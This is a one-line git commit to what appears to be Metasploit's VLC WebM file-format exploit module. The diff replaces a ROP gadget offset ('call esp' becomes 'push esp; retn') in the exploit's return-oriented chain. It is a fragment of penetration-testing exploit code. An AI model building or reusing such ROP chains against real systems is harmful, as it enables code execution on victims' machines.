Small fix from Dan Rosenberg

git-svn-id: file:///home/svn/framework3/trunk@11725 4d416f70-5f16-0410-b530-b9f4589650da
2011-02-08 18:22:36 +00:00 · 2011-02-08 18:22:36 +00:00 · dafeecdc96
parent 7d72db3e8e
commit dafeecdc96
1 changed files with 1 additions and 1 deletions
--- a/modules/exploits/windows/fileformat/vlc_webm.rb
+++ b/modules/exploits/windows/fileformat/vlc_webm.rb
@ -139,7 +139,7 @@ class Metasploit3 < Msf::Exploit::Remote
 			spray - 0x1000,			# lpfOldProtect

 			# Enough of this ROP business...
-			rop_base + 0x4fe94		# call esp
+			rop_base + 0xdace8              # push esp; retn
 		]
 		rop = rop.pack('V*')